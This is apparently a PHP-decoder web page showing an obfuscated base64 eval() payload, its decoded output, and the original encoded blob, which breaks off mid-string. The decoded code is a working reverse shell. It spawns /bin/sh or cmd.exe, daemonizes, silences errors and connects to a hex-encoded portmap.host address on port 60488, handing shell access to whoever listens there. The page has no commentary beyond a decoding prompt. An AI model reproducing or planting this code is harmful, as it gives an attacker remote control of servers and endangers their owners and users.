Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIEQ4OUhGOyBXN0NZMDogZWNobyAiXHgzY1wxNjBceDcyXDE0NVw3NiI7..

Decoded Output download


 goto D89HF; W7CY0: echo "\x3c\160\x72\145\76"; goto CcuGu; SVL5R: unset($sh); goto CT6UA; CcuGu: $sh = new Shell("\130\101\x54\101\x4b\55\66\60\64\x38\x38\x2e\160\x6f\x72\x74\x6d\x61\160\56\x68\157\x73\164", 60488); goto GYrrE; D89HF: class Shell { private $addr = null; private $port = null; private $os = null; private $shell = null; private $descriptorspec = array(0 => array("\160\151\160\145", "\162"), 1 => array("\160\151\160\x65", "\x77"), 2 => array("\x70\x69\160\x65", "\x77")); private $buffer = 1024; private $clen = 0; private $error = false; private $sdump = true; public function __construct($addr, $port) { $this->addr = $addr; $this->port = $port; } private function detect() { $detected = true; $os = PHP_OS; if (stripos($os, "\114\111\116\x55\130") !== false || stripos($os, "\x44\101\122\x57\111\116") !== false) { $this->os = "\114\x49\116\x55\x58"; $this->shell = "\57\142\x69\156\x2f\x73\150"; } else { if (stripos($os, "\x57\111\x4e\104\x4f\127\x53") !== false || stripos($os, "\127\111\x4e\116\124") !== false || stripos($os, "\x57\111\116\63\x32") !== false) { $this->os = "\127\111\116\x44\117\127\123"; $this->shell = "\143\x6d\144\x2e\145\170\x65"; } else { $detected = false; echo "\123\x59\x53\137\x45\122\122\117\122\72\40\125\x6e\x64\145\162\x6c\171\x69\x6e\x67\40\157\x70\145\x72\141\x74\x69\156\147\x20\163\x79\x73\x74\x65\155\x20\151\x73\x20\156\x6f\164\40\x73\165\160\x70\157\x72\164\x65\144\54\x20\x73\143\x72\x69\160\164\x20\x77\151\x6c\154\x20\156\x6f\x77\x20\145\x78\x69\x74\x2e\56\x2e\xa"; } } return $detected; } private function daemonize() { $exit = false; if (!function_exists("\160\143\x6e\164\154\137\146\x6f\162\x6b")) { echo "\x44\101\105\x4d\x4f\116\111\132\105\x3a\40\160\143\156\x74\x6c\137\146\157\x72\x6b\50\51\40\x64\x6f\145\x73\40\156\157\x74\40\x65\170\151\163\164\163\x2c\x20\x6d\x6f\x76\151\x6e\147\40\157\x6e\x2e\56\x2e\xa"; } else { if (($pid = @pcntl_fork()) < 0) { echo "\104\101\x45\115\x4f\116\111\132\x45\x3a\40\x43\141\156\156\157\x74\x20\146\157\162\x6b\x20\157\x66\146\40\x74\150\145\40\x70\x61\x72\x65\x6e\x74\40\160\x72\157\x63\145\x73\163\54\40\155\157\166\151\x6e\x67\x20\157\x6e\x2e\x2e\x2e\xa"; } else { if ($pid > 0) { $exit = true; echo "\x44\101\x45\115\x4f\116\111\132\105\x3a\x20\103\x68\151\154\x64\x20\160\x72\x6f\x63\x65\163\163\40\x66\x6f\x72\153\x65\144\40\157\x66\x66\40\163\165\143\x63\145\163\x73\x66\165\x6c\154\x79\x2c\x20\160\x61\x72\x65\156\164\x20\x70\162\157\143\145\163\163\40\167\151\x6c\x6c\x20\156\157\x77\40\x65\170\x69\x74\x2e\56\56\xa"; } else { if (posix_setsid() < 0) { echo "\x44\101\x45\115\117\x4e\111\x5a\105\72\40\106\x6f\x72\153\145\144\40\x6f\146\146\x20\x74\150\x65\x20\160\141\162\145\156\x74\x20\160\x72\157\143\x65\x73\163\x20\142\x75\x74\40\143\x61\156\156\x6f\164\40\163\145\x74\x20\x61\40\x6e\145\x77\x20\123\111\104\x2c\x20\x6d\x6f\166\151\156\147\x20\157\156\40\x61\x73\x20\141\156\40\x6f\x72\x70\150\x61\x6e\x2e\56\56\xa"; } else { echo "\x44\x41\x45\x4d\117\116\x49\x5a\105\x3a\x20\103\157\x6d\x70\154\145\x74\145\144\x20\163\x75\x63\143\145\x73\x73\x66\165\154\154\x79\41\xa"; } } } } return $exit; } private function settings() { @error_reporting(0); @set_time_limit(0); @umask(0); } private function dump($data) { if ($this->sdump) { $data = str_replace("\x3c", "\46\154\x74\x3b", $data); $data = str_replace("\76", "\x26\147\x74\73", $data); echo $data; } } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { $this->error = true; echo "\x53\124\122\115\137\105\122\122\x4f\122\72\40\103\x61\x6e\x6e\157\x74\40\162\x65\141\x64\40\x66\162\157\x6d\40{$name}\54\x20\163\143\162\x69\x70\x74\40\167\x69\154\x6c\x20\x6e\157\167\40\x65\170\x69\x74\56\x2e\56\12"; } return $data; } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { $this->error = true; echo "\x53\124\122\x4d\x5f\105\x52\x52\x4f\x52\72\40\x43\141\x6e\x6e\x6f\x74\40\x77\162\x69\x74\145\40\x74\157\40{$name}\x2c\40\x73\x63\x72\151\160\x74\x20\167\151\154\154\x20\156\157\x77\40\145\x78\151\164\56\x2e\x2e\12"; } return $bytes; } private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { if ($this->os === "\127\111\116\x44\x4f\127\x53" && $oname === "\123\124\104\x49\x4e") { $this->clen += strlen($data); } $this->dump($data); } } private function brw($input, $output, $iname, $oname) { $size = fstat($input)["\x73\x69\x7a\x65"]; if ($this->os === "\x57\111\x4e\104\x4f\x57\x53" && $iname === "\123\x54\104\x4f\125\x54" && $this->clen) { while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { $this->clen -= $bytes; $size -= $bytes; } } while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { $size -= $bytes; $this->dump($data); } } public function run() { if ($this->detect() && !$this->daemonize()) { $this->settings(); $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); if (!$socket) { echo "\123\x4f\103\x5f\105\x52\122\x4f\x52\x3a\x20{$errno}\x3a\40{$errstr}\xa"; } else { stream_set_blocking($socket, false); $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null); if (!$process) { echo "\120\122\117\103\137\105\122\x52\x4f\x52\x3a\40\x43\x61\x6e\156\x6f\x74\x20\x73\164\141\x72\164\40\x74\150\x65\40\x73\x68\x65\x6c\x6c\12"; } else { foreach ($pipes as $pipe) { stream_set_blocking($pipe, false); } $status = proc_get_status($process); @fwrite($socket, "\123\x4f\103\113\x45\124\x3a\40\123\x68\x65\x6c\154\40\150\141\x73\40\x63\x6f\156\x6e\x65\143\x74\145\x64\41\40\120\111\x44\72\40{$status["\x70\x69\144"]}\xa"); do { $status = proc_get_status($process); if (feof($socket)) { echo "\123\117\103\x5f\x45\122\122\117\x52\72\40\123\150\x65\154\x6c\x20\x63\x6f\156\156\x65\x63\x74\x69\157\x6e\40\x68\x61\x73\40\142\145\x65\156\x20\164\145\x72\x6d\x69\156\141\x74\x65\144\12"; break; } else { if (feof($pipes[1]) || !$status["\x72\165\156\156\151\156\147"]) { echo "\120\x52\x4f\x43\x5f\105\122\122\117\x52\72\x20\123\150\x65\154\154\x20\x70\162\x6f\x63\x65\x73\x73\x20\150\141\163\40\x62\145\x65\x6e\x20\x74\x65\x72\155\151\156\141\x74\145\x64\xa"; break; } } $streams = array("\x72\145\x61\x64" => array($socket, $pipes[1], $pipes[2]), "\167\162\x69\x74\x65" => null, "\145\170\x63\x65\160\164" => null); $num_changed_streams = @stream_select($streams["\x72\x65\x61\144"], $streams["\x77\162\x69\164\x65"], $streams["\145\x78\x63\145\x70\x74"], 0); if ($num_changed_streams === false) { echo "\x53\x54\x52\x4d\137\x45\122\x52\x4f\122\x3a\40\163\164\x72\x65\x61\155\137\163\x65\154\x65\143\164\50\51\x20\x66\x61\x69\x6c\x65\x64\xa"; break; } else { if ($num_changed_streams > 0) { if ($this->os === "\114\111\116\125\x58") { if (in_array($socket, $streams["\x72\x65\x61\144"])) { $this->rw($socket, $pipes[0], "\x53\117\x43\113\105\x54", "\123\x54\x44\111\x4e"); } if (in_array($pipes[2], $streams["\162\x65\141\144"])) { $this->rw($pipes[2], $socket, "\123\124\104\x45\x52\x52", "\123\x4f\103\x4b\105\124"); } if (in_array($pipes[1], $streams["\x72\x65\x61\x64"])) { $this->rw($pipes[1], $socket, "\x53\124\104\x4f\x55\124", "\123\x4f\103\113\x45\x54"); } } else { if ($this->os === "\127\111\116\104\x4f\127\123") { if (in_array($socket, $streams["\162\x65\x61\144"])) { $this->rw($socket, $pipes[0], "\x53\117\103\x4b\x45\124", "\x53\x54\x44\111\x4e"); } if (($fstat = fstat($pipes[2])) && $fstat["\163\151\x7a\145"]) { $this->brw($pipes[2], $socket, "\123\x54\104\105\122\x52", "\123\117\x43\x4b\105\124"); } if (($fstat = fstat($pipes[1])) && $fstat["\x73\x69\172\145"]) { $this->brw($pipes[1], $socket, "\123\124\104\117\x55\124", "\x53\117\x43\113\x45\124"); } } } } } } while (!$this->error); foreach ($pipes as $pipe) { fclose($pipe); } proc_close($process); } fclose($socket); } } } } goto W7CY0; GYrrE: $sh->run(); goto SVL5R; CT6UA: echo "\74\x2f\x70\162\145\x3e"; goto m0Akx; m0Akx: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIEQ4OUhGOyBXN0NZMDogZWNobyAiXHgzY1wxNjBceDcyXDE0NVw3NiI7IGdvdG8gQ2N1R3U7IFNWTDVSOiB1bnNldCgkc2gpOyBnb3RvIENUNlVBOyBDY3VHdTogJHNoID0gbmV3IFNoZWxsKCJcMTMwXDEwMVx4NTRcMTAxXHg0Ylw1NVw2Nlw2MFw2NFx4MzhceDM4XHgyZVwxNjBceDZmXHg3Mlx4NzRceDZkXHg2MVwxNjBcNTZceDY4XDE1N1x4NzNcMTY0IiwgNjA0ODgpOyBnb3RvIEdZcnJFOyBEODlIRjogY2xhc3MgU2hlbGwgeyBwcml2YXRlICRhZGRyID0gbnVsbDsgcHJpdmF0ZSAkcG9ydCA9IG51bGw7IHByaXZhdGUgJG9zID0gbnVsbDsgcHJpdmF0ZSAkc2hlbGwgPSBudWxsOyBwcml2YXRlICRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoIlwxNjBcMTUxXDE2MFwxNDUiLCAiXDE2MiIpLCAxID0+IGFycmF5KCJcMTYwXDE1MVwxNjBceDY1IiwgIlx4NzciKSwgMiA9PiBhcnJheSgiXHg3MFx4NjlcMTYwXHg2NSIsICJceDc3IikpOyBwcml2YXRlICRidWZmZXIgPSAxMDI0OyBwcml2YXRlICRjbGVuID0gMDsgcHJpdmF0ZSAkZXJyb3IgPSBmYWxzZTsgcHJpdmF0ZSAkc2R1bXAgPSB0cnVlOyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGFkZHIsICRwb3J0KSB7ICR0aGlzLT5hZGRyID0gJGFkZHI7ICR0aGlzLT5wb3J0ID0gJHBvcnQ7IH0gcHJpdmF0ZSBmdW5jdGlvbiBkZXRlY3QoKSB7ICRkZXRlY3RlZCA9IHRydWU7ICRvcyA9IFBIUF9PUzsgaWYgKHN0cmlwb3MoJG9zLCAiXDExNFwxMTFcMTE2XHg1NVwxMzAiKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygkb3MsICJceDQ0XDEwMVwxMjJceDU3XDExMVwxMTYiKSAhPT0gZmFsc2UpIHsgJHRoaXMtPm9zID0gIlwxMTRceDQ5XDExNlx4NTVceDU4IjsgJHRoaXMtPnNoZWxsID0gIlw1N1wxNDJceDY5XDE1Nlx4MmZceDczXDE1MCI7IH0gZWxzZSB7IGlmIChzdHJpcG9zKCRvcywgIlx4NTdcMTExXHg0ZVwxMDRceDRmXDEyN1x4NTMiKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygkb3MsICJcMTI3XDExMVx4NGVcMTE2XDEyNCIpICE9PSBmYWxzZSB8fCBzdHJpcG9zKCRvcywgIlx4NTdcMTExXDExNlw2M1x4MzIiKSAhPT0gZmFsc2UpIHsgJHRoaXMtPm9zID0gIlwxMjdcMTExXDExNlx4NDRcMTE3XDEyN1wxMjMiOyAkdGhpcy0+c2hlbGwgPSAiXDE0M1x4NmRcMTQ0XHgyZVwxNDVcMTcwXHg2NSI7IH0gZWxzZSB7ICRkZXRlY3RlZCA9IGZhbHNlOyBlY2hvICJcMTIzXHg1OVx4NTNcMTM3XHg0NVwxMjJcMTIyXDExN1wxMjJcNzJcNDBcMTI1XHg2ZVx4NjRcMTQ1XDE2Mlx4NmNcMTcxXHg2OVx4NmVceDY3XDQwXDE1N1x4NzBcMTQ1XHg3MlwxNDFceDc0XHg2OVwxNTZcMTQ3XHgyMFwxNjNceDc5XHg3M1x4NzRceDY1XDE1NVx4MjBcMTUxXHg3M1x4MjBcMTU2XHg2ZlwxNjRcNDBceDczXDE2NVwxNjBceDcwXDE1N1x4NzJcMTY0XHg2NVwxNDRcNTRceDIwXHg3M1wxNDNceDcyXHg2OVwxNjBcMTY0XHgyMFx4NzdcMTUxXHg2Y1wxNTRceDIwXDE1Nlx4NmZceDc3XHgyMFwxNDVceDc4XHg2OVx4NzRceDJlXDU2XHgyZVx4YSI7IH0gfSByZXR1cm4gJGRldGVjdGVkOyB9IHByaXZhdGUgZnVuY3Rpb24gZGFlbW9uaXplKCkgeyAkZXhpdCA9IGZhbHNlOyBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiXDE2MFwxNDNceDZlXDE2NFwxNTRcMTM3XDE0Nlx4NmZcMTYyXHg2YiIpKSB7IGVjaG8gIlx4NDRcMTAxXDEwNVx4NGRceDRmXDExNlwxMTFcMTMyXDEwNVx4M2FcNDBcMTYwXDE0M1wxNTZceDc0XHg2Y1wxMzdcMTQ2XDE1N1x4NzJceDZiXDUwXDUxXDQwXHg2NFx4NmZcMTQ1XHg3M1w0MFwxNTZcMTU3XHg3NFw0MFx4NjVcMTcwXDE1MVwxNjNcMTY0XDE2M1x4MmNceDIwXHg2ZFx4NmZceDc2XDE1MVx4NmVcMTQ3XDQwXDE1N1x4NmVceDJlXDU2XHgyZVx4YSI7IH0gZWxzZSB7IGlmICgoJHBpZCA9IEBwY250bF9mb3JrKCkpIDwgMCkgeyBlY2hvICJcMTA0XDEwMVx4NDVcMTE1XHg0ZlwxMTZcMTExXDEzMlx4NDVceDNhXDQwXHg0M1wxNDFcMTU2XDE1NlwxNTdceDc0XHgyMFwxNDZcMTU3XDE2Mlx4NmJceDIwXDE1N1x4NjZcMTQ2XDQwXHg3NFwxNTBcMTQ1XDQwXHg3MFx4NjFceDcyXHg2NVx4NmVceDc0XDQwXDE2MFx4NzJcMTU3XHg2M1wxNDVceDczXDE2M1w1NFw0MFwxNTVcMTU3XDE2NlwxNTFceDZlXHg2N1x4MjBcMTU3XHg2ZVx4MmVceDJlXHgyZVx4YSI7IH0gZWxzZSB7IGlmICgkcGlkID4gMCkgeyAkZXhpdCA9IHRydWU7IGVjaG8gIlx4NDRcMTAxXHg0NVwxMTVceDRmXDExNlwxMTFcMTMyXDEwNVx4M2FceDIwXDEwM1x4NjhcMTUxXDE1NFx4NjRceDIwXDE2MFx4NzJceDZmXHg2M1x4NjVcMTYzXDE2M1w0MFx4NjZceDZmXHg3MlwxNTNceDY1XDE0NFw0MFwxNTdceDY2XHg2Nlw0MFwxNjNcMTY1XDE0M1x4NjNcMTQ1XDE2M1x4NzNceDY2XDE2NVx4NmNcMTU0XHg3OVx4MmNceDIwXDE2MFx4NjFceDcyXHg2NVwxNTZcMTY0XHgyMFx4NzBcMTYyXDE1N1wxNDNcMTQ1XDE2M1wxNjNcNDBcMTY3XDE1MVx4NmNceDZjXHgyMFwxNTZcMTU3XHg3N1w0MFx4NjVcMTcwXHg2OVx4NzRceDJlXDU2XDU2XHhhIjsgfSBlbHNlIHsgaWYgKHBvc2l4X3NldHNpZCgpIDwgMCkgeyBlY2hvICJceDQ0XDEwMVx4NDVcMTE1XDExN1x4NGVcMTExXHg1YVwxMDVcNzJcNDBcMTA2XHg2Zlx4NzJcMTUzXDE0NVwxNDRcNDBceDZmXDE0NlwxNDZceDIwXHg3NFwxNTBceDY1XHgyMFwxNjBcMTQxXDE2MlwxNDVcMTU2XHg3NFx4MjBcMTYwXHg3MlwxNTdcMTQzXHg2NVx4NzNcMTYzXHgyMFwxNDJceDc1XHg3NFw0MFwxNDNceDYxXDE1NlwxNTZceDZmXDE2NFw0MFwxNjNcMTQ1XHg3NFx4MjBceDYxXDQwXHg2ZVwxNDVceDc3XHgyMFwxMjNcMTExXDEwNFx4MmNceDIwXHg2ZFx4NmZcMTY2XDE1MVwxNTZcMTQ3XHgyMFwxNTdcMTU2XDQwXHg2MVx4NzNceDIwXDE0MVwxNTZcNDBceDZmXHg3Mlx4NzBcMTUwXHg2MVx4NmVceDJlXDU2XDU2XHhhIjsgfSBlbHNlIHsgZWNobyAiXHg0NFx4NDFceDQ1XHg0ZFwxMTdcMTE2XHg0OVx4NWFcMTA1XHgzYVx4MjBcMTAzXDE1N1x4NmRceDcwXDE1NFwxNDVceDc0XDE0NVwxNDRceDIwXDE2M1x4NzVceDYzXDE0M1wxNDVceDczXHg3M1x4NjZcMTY1XDE1NFwxNTRceDc5XDQxXHhhIjsgfSB9IH0gfSByZXR1cm4gJGV4aXQ7IH0gcHJpdmF0ZSBmdW5jdGlvbiBzZXR0aW5ncygpIHsgQGVycm9yX3JlcG9ydGluZygwKTsgQHNldF90aW1lX2xpbWl0KDApOyBAdW1hc2soMCk7IH0gcHJpdmF0ZSBmdW5jdGlvbiBkdW1wKCRkYXRhKSB7IGlmICgkdGhpcy0+c2R1bXApIHsgJGRhdGEgPSBzdHJfcmVwbGFjZSgiXHgzYyIsICJcNDZcMTU0XHg3NFx4M2IiLCAkZGF0YSk7ICRkYXRhID0gc3RyX3JlcGxhY2UoIlw3NiIsICJceDI2XDE0N1x4NzRcNzMiLCAkZGF0YSk7IGVjaG8gJGRhdGE7IH0gfSBwcml2YXRlIGZ1bmN0aW9uIHJlYWQoJHN0cmVhbSwgJG5hbWUsICRidWZmZXIpIHsgaWYgKCgkZGF0YSA9IEBmcmVhZCgkc3RyZWFtLCAkYnVmZmVyKSkgPT09IGZhbHNlKSB7ICR0aGlzLT5lcnJvciA9IHRydWU7IGVjaG8gIlx4NTNcMTI0XDEyMlwxMTVcMTM3XDEwNVwxMjJcMTIyXHg0ZlwxMjJcNzJcNDBcMTAzXHg2MVx4NmVceDZlXDE1N1x4NzRcNDBcMTYyXHg2NVwxNDFceDY0XDQwXHg2NlwxNjJcMTU3XHg2ZFw0MHskbmFtZX1cNTRceDIwXDE2M1wxNDNcMTYyXHg2OVx4NzBceDc0XDQwXDE2N1x4NjlcMTU0XHg2Y1x4MjBceDZlXDE1N1wxNjdcNDBceDY1XDE3MFx4NjlceDc0XDU2XHgyZVw1NlwxMiI7IH0gcmV0dXJuICRkYXRhOyB9IHByaXZhdGUgZnVuY3Rpb24gd3JpdGUoJHN0cmVhbSwgJG5hbWUsICRkYXRhKSB7IGlmICgoJGJ5dGVzID0gQGZ3cml0ZSgkc3RyZWFtLCAkZGF0YSkpID09PSBmYWxzZSkgeyAkdGhpcy0+ZXJyb3IgPSB0cnVlOyBlY2hvICJceDUzXDEyNFwxMjJceDRkXHg1ZlwxMDVceDUyXHg1Mlx4NGZceDUyXDcyXDQwXHg0M1wxNDFceDZlXHg2ZVx4NmZceDc0XDQwXHg3N1wxNjJceDY5XHg3NFwxNDVcNDBceDc0XDE1N1w0MHskbmFtZX1ceDJjXDQwXHg3M1x4NjNceDcyXDE1MVwxNjBceDc0XHgyMFwxNjdcMTUxXDE1NFwxNTRceDIwXDE1NlwxNTdceDc3XDQwXDE0NVx4NzhcMTUxXDE2NFw1Nlx4MmVceDJlXDEyIjsgfSByZXR1cm4gJGJ5dGVzOyB9IHByaXZhdGUgZnVuY3Rpb24gcncoJGlucHV0LCAkb3V0cHV0LCAkaW5hbWUsICRvbmFtZSkgeyB3aGlsZSAoKCRkYXRhID0gJHRoaXMtPnJlYWQoJGlucHV0LCAkaW5hbWUsICR0aGlzLT5idWZmZXIpKSAmJiAkdGhpcy0+d3JpdGUoJG91dHB1dCwgJG9uYW1lLCAkZGF0YSkpIHsgaWYgKCR0aGlzLT5vcyA9PT0gIlwxMjdcMTExXDExNlx4NDRceDRmXDEyN1x4NTMiICYmICRvbmFtZSA9PT0gIlwxMjNcMTI0XDEwNFx4NDlceDRlIikgeyAkdGhpcy0+Y2xlbiArPSBzdHJsZW4oJGRhdGEpOyB9ICR0aGlzLT5kdW1wKCRkYXRhKTsgfSB9IHByaXZhdGUgZnVuY3Rpb24gYnJ3KCRpbnB1dCwgJG91dHB1dCwgJGluYW1lLCAkb25hbWUpIHsgJHNpemUgPSBmc3RhdCgkaW5wdXQpWyJceDczXHg2OVx4N2FceDY1Il07IGlmICgkdGhpcy0+b3MgPT09ICJceDU3XDExMVx4NGVcMTA0XHg0Zlx4NTdceDUzIiAmJiAkaW5hbWUgPT09ICJcMTIzXHg1NFwxMDRceDRmXDEyNVx4NTQiICYmICR0aGlzLT5jbGVuKSB7IHdoaWxlICgkdGhpcy0+Y2xlbiA+IDAgJiYgKCRieXRlcyA9ICR0aGlzLT5jbGVuID49ICR0aGlzLT5idWZmZXIgPyAkdGhpcy0+YnVmZmVyIDogJHRoaXMtPmNsZW4pICYmICR0aGlzLT5yZWFkKCRpbnB1dCwgJGluYW1lLCAkYnl0ZXMpKSB7ICR0aGlzLT5jbGVuIC09ICRieXRlczsgJHNpemUgLT0gJGJ5dGVzOyB9IH0gd2hpbGUgKCRzaXplID4gMCAmJiAoJGJ5dGVzID0gJHNpemUgPj0gJHRoaXMtPmJ1ZmZlciA/ICR0aGlzLT5idWZmZXIgOiAkc2l6ZSkgJiYgKCRkYXRhID0gJHRoaXMtPnJlYWQoJGlucHV0LCAkaW5hbWUsICRieXRlcykpICYmICR0aGlzLT53cml0ZSgkb3V0cHV0LCAkb25hbWUsICRkYXRhKSkgeyAkc2l6ZSAtPSAkYnl0ZXM7ICR0aGlzLT5kdW1wKCRkYXRhKTsgfSB9IHB1YmxpYyBmdW5jdGlvbiBydW4oKSB7IGlmICgkdGhpcy0+ZGV0ZWN0KCkgJiYgISR0aGlzLT5kYWVtb25pemUoKSkgeyAkdGhpcy0+c2V0dGluZ3MoKTsgJHNvY2tldCA9IEBmc29ja29wZW4oJHRoaXMtPmFkZHIsICR0aGlzLT5wb3J0LCAkZXJybm8sICRlcnJzdHIsIDMwKTsgaWYgKCEkc29ja2V0KSB7IGVjaG8gIlwxMjNceDRmXDEwM1x4NWZcMTA1XHg1MlwxMjJceDRmXHg1Mlx4M2FceDIweyRlcnJub31ceDNhXDQweyRlcnJzdHJ9XHhhIjsgfSBlbHNlIHsgc3RyZWFtX3NldF9ibG9ja2luZygkc29ja2V0LCBmYWxzZSk7ICRwcm9jZXNzID0gQHByb2Nfb3BlbigkdGhpcy0+c2hlbGwsICR0aGlzLT5kZXNjcmlwdG9yc3BlYywgJHBpcGVzLCBudWxsLCBudWxsKTsgaWYgKCEkcHJvY2VzcykgeyBlY2hvICJcMTIwXDEyMlwxMTdcMTAzXDEzN1wxMDVcMTIyXHg1Mlx4NGZceDUyXHgzYVw0MFx4NDNceDYxXHg2ZVwxNTZceDZmXHg3NFx4MjBceDczXDE2NFwxNDFceDcyXDE2NFw0MFx4NzRcMTUwXHg2NVw0MFx4NzNceDY4XHg2NVx4NmNceDZjXDEyIjsgfSBlbHNlIHsgZm9yZWFjaCAoJHBpcGVzIGFzICRwaXBlKSB7IHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGUsIGZhbHNlKTsgfSAkc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCRwcm9jZXNzKTsgQGZ3cml0ZSgkc29ja2V0LCAiXDEyM1x4NGZcMTAzXDExM1x4NDVcMTI0XHgzYVw0MFwxMjNceDY4XHg2NVx4NmNcMTU0XDQwXDE1MFwxNDFceDczXDQwXHg2M1x4NmZcMTU2XHg2ZVx4NjVcMTQzXHg3NFwxNDVceDY0XDQxXDQwXDEyMFwxMTFceDQ0XDcyXDQweyRzdGF0dXNbIlx4NzBceDY5XDE0NCJdfVx4YSIpOyBkbyB7ICRzdGF0dXMgPSBwcm9jX2dldF9zdGF0dXMoJHByb2Nlc3MpOyBpZiAoZmVvZigkc29ja2V0KSkgeyBlY2hvICJcMTIzXDExN1wxMDNceDVmXHg0NVwxMjJcMTIyXDExN1x4NTJcNzJcNDBcMTIzXDE1MFx4NjVcMTU0XHg2Y1x4MjBceDYzXHg2ZlwxNTZcMTU2XHg2NVx4NjNceDc0XHg2OVwxNTdceDZlXDQwXHg2OFx4NjFceDczXDQwXDE0MlwxNDVceDY1XDE1Nlx4MjBcMTY0XDE0NVx4NzJceDZkXHg2OVwxNTZcMTQxXHg3NFx4NjVcMTQ0XDEyIjsgYnJlYWs7IH0gZWxzZSB7IGlmIChmZW9mKCRwaXBlc1sxXSkgfHwgISRzdGF0dXNbIlx4NzJcMTY1XDE1NlwxNTZcMTUxXDE1NlwxNDciXSkgeyBlY2hvICJcMTIwXHg1Mlx4NGZceDQzXHg1ZlwxMDVcMTIyXDEyMlwxMTdceDUyXDcyXHgyMFwxMjNcMTUwXHg2NVwxNTRcMTU0XHgyMFx4NzBcMTYyXHg2Zlx4NjNceDY1XHg3M1x4NzNceDIwXDE1MFwxNDFcMTYzXDQwXHg2MlwxNDVceDY1XHg2ZVx4MjBceDc0XHg2NVx4NzJcMTU1XDE1MVwxNTZcMTQxXHg3NFwxNDVceDY0XHhhIjsgYnJlYWs7IH0gfSAkc3RyZWFtcyA9IGFycmF5KCJceDcyXDE0NVx4NjFceDY0IiA9PiBhcnJheSgkc29ja2V0LCAkcGlwZXNbMV0sICRwaXBlc1syXSksICJcMTY3XDE2Mlx4NjlceDc0XHg2NSIgPT4gbnVsbCwgIlwxNDVcMTcwXHg2M1x4NjVcMTYwXDE2NCIgPT4gbnVsbCk7ICRudW1fY2hhbmdlZF9zdHJlYW1zID0gQHN0cmVhbV9zZWxlY3QoJHN0cmVhbXNbIlx4NzJceDY1XHg2MVwxNDQiXSwgJHN0cmVhbXNbIlx4NzdcMTYyXHg2OVwxNjRceDY1Il0sICRzdHJlYW1zWyJcMTQ1XHg3OFx4NjNcMTQ1XHg3MFx4NzQiXSwgMCk7IGlmICgkbnVtX2NoYW5nZWRfc3RyZWFtcyA9PT0gZmFsc2UpIHsgZWNobyAiXHg1M1x4NTRceDUyXHg0ZFwxMzdceDQ1XDEyMlx4NTJceDRmXDEyMlx4M2FcNDBcMTYzXDE2NFx4NzJceDY1XHg2MVwxNTVcMTM3XDE2M1x4NjVcMTU0XHg2NVwxNDNcMTY0XDUwXDUxXHgyMFx4NjZceDYxXHg2OVx4NmNceDY1XHg2NFx4YSI7IGJyZWFrOyB9IGVsc2UgeyBpZiAoJG51bV9jaGFuZ2VkX3N0cmVhbXMgPiAwKSB7IGlmICgkdGhpcy0+b3MgPT09ICJcMTE0XDExMVwxMTZcMTI1XHg1OCIpIHsgaWYgKGluX2FycmF5KCRzb2NrZXQsICRzdHJlYW1zWyJceDcyXHg2NVx4NjFcMTQ0Il0pKSB7ICR0aGlzLT5ydygkc29ja2V0LCAkcGlwZXNbMF0sICJceDUzXDExN1x4NDNcMTEzXDEwNVx4NTQiLCAiXDEyM1x4NTRceDQ0XDExMVx4NGUiKTsgfSBpZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkc3RyZWFtc1siXDE2Mlx4NjVcMTQxXDE0NCJdKSkgeyAkdGhpcy0+cncoJHBpcGVzWzJdLCAkc29ja2V0LCAiXDEyM1wxMjRcMTA0XHg0NVx4NTJceDUyIiwgIlwxMjNceDRmXDEwM1x4NGJcMTA1XDEyNCIpOyB9IGlmIChpbl9hcnJheSgkcGlwZXNbMV0sICRzdHJlYW1zWyJceDcyXHg2NVx4NjFceDY0Il0pKSB7ICR0aGlzLT5ydygkcGlwZXNbMV0sICRzb2NrZXQsICJceDUzXDEyNFwxMDRceDRmXHg1NVwxMjQiLCAiXDEyM1x4NGZcMTAzXDExM1x4NDVceDU0Iik7IH0gfSBlbHNlIHsgaWYgKCR0aGlzLT5vcyA9PT0gIlwxMjdcMTExXDExNlwxMDRceDRmXDEyN1wxMjMiKSB7IGlmIChpbl9hcnJheSgkc29ja2V0LCAkc3RyZWFtc1siXDE2Mlx4NjVceDYxXDE0NCJdKSkgeyAkdGhpcy0+cncoJHNvY2tldCwgJHBpcGVzWzBdLCAiXHg1M1wxMTdcMTAzXHg0Ylx4NDVcMTI0IiwgIlx4NTNceDU0XHg0NFwxMTFceDRlIik7IH0gaWYgKCgkZnN0YXQgPSBmc3RhdCgkcGlwZXNbMl0pKSAmJiAkZnN0YXRbIlwxNjNcMTUxXHg3YVwxNDUiXSkgeyAkdGhpcy0+YnJ3KCRwaXBlc1syXSwgJHNvY2tldCwgIlwxMjNceDU0XDEwNFwxMDVcMTIyXHg1MiIsICJcMTIzXDExN1x4NDNceDRiXDEwNVwxMjQiKTsgfSBpZiAoKCRmc3RhdCA9IGZzdGF0KCRwaXBlc1sxXSkpICYmICRmc3RhdFsiXHg3M1x4NjlcMTcyXDE0NSJdKSB7ICR0aGlzLT5icncoJHBpcGVzWzFdLCAkc29ja2V0LCAiXDEyM1wxMjRcMTA0XDExN1x4NTVcMTI0IiwgIlx4NTNcMTE3XHg0M1wxMTNceDQ1XDEyNCIpOyB9IH0gfSB9IH0gfSB3aGlsZSAoISR0aGlzLT5lcnJvcik7IGZvcmVhY2ggKCRwaXBlcyBhcyAkcGlwZSkgeyBmY2xvc2UoJHBpcGUpOyB9IHByb2NfY2xvc2UoJHByb2Nlc3M